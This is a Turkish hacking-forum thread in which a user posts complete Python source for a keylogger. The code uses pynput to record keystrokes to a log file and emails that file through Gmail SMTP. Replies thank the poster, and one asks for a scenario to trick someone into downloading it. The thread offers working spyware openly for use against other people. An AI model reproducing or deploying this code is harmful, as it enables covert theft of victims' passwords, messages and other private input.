Keylogger Yapımı (PYTHON)

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer
Süper paylaşım eline sağlık
Teşekkür ederim.
Abi çok sağol ne zamandır arıyodum böfyle bişey bi sorum olcak abi şimdi terminal derken cmd veya powershell ile çalıştırsak ta olurmu abi pynput için?
Poweshell'den de çalıştırabilirsin diye biliyorum olmadı cmd den yaparsın.
IDLE pyhton mu açcaz yoksa diğer phyton mu
rica etsem biraz daha açar mısın sorunu yani sadece python üzerinden çalıştırıp çalıştıramayacağımızı mı soruyorsun ?
 

BadK

Yeni üye
19 Ağu 2021
8
1
19
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
Eline Sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.